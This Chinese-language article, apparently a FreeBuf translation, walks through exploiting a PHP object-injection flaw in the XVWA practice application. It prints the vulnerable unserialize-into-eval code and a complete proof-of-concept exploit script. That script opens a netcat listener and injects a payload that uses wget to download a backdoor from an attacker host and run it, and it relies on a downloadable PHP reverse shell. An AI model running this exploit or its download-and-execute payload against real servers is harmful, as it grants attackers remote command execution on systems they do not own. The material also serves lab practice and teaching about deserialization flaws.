本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。如果你想了解更多关于PHP序列化的内容,请访问这个 链接。如果你想自行测试这个漏洞,你可以通过 XVWA和 Kevgir进行操作。
漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里。它会被动检测PHP和Java序列化的存在。
分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:
$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:
eval($this->inject);
接着,执行:
echo "<br/>".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!
< ?php error_reporting(E_ALL); class PHPObjectInjection{ public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)){ eval($this->inject); } } }//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";} if(isset($_REQUEST['r'])){ $var1=unserialize($_REQUEST['r']); if(is_array($var1)){ echo "".$var1[0]." - ".$var1[1]; } }else{ echo "parameter is missing"; }? >
漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:
http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意:你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:
<?php /*PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.comA simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. Shouts to @jstnkndy @yappare for theassist!NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured*/print"==============================================================================\r\n";print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";print"==============================================================================\r\n";print "[+] Generating serializedpayload...[OK]\r\n";print "[+] Launching reverselistener...[OK]\r\n";system('gnome-terminal -x sh -c \'nc -lvvp1234\'');class PHPObjectInjection{ //CHANGE URL/FILENAME TO MATCH YOUR SETUP public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";} $url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER$url = $url . urlencode(serialize(newPHPObjectInjection));print "[+] Sendingexploit...[OK]\r\n";print "[+] Dropping down tointeractive shell...[OK]\r\n";print"==============================================================================\r\n";$response =file_get_contents("$url"); ? >
Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!
视频展示如下:
*参考来源: CD,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

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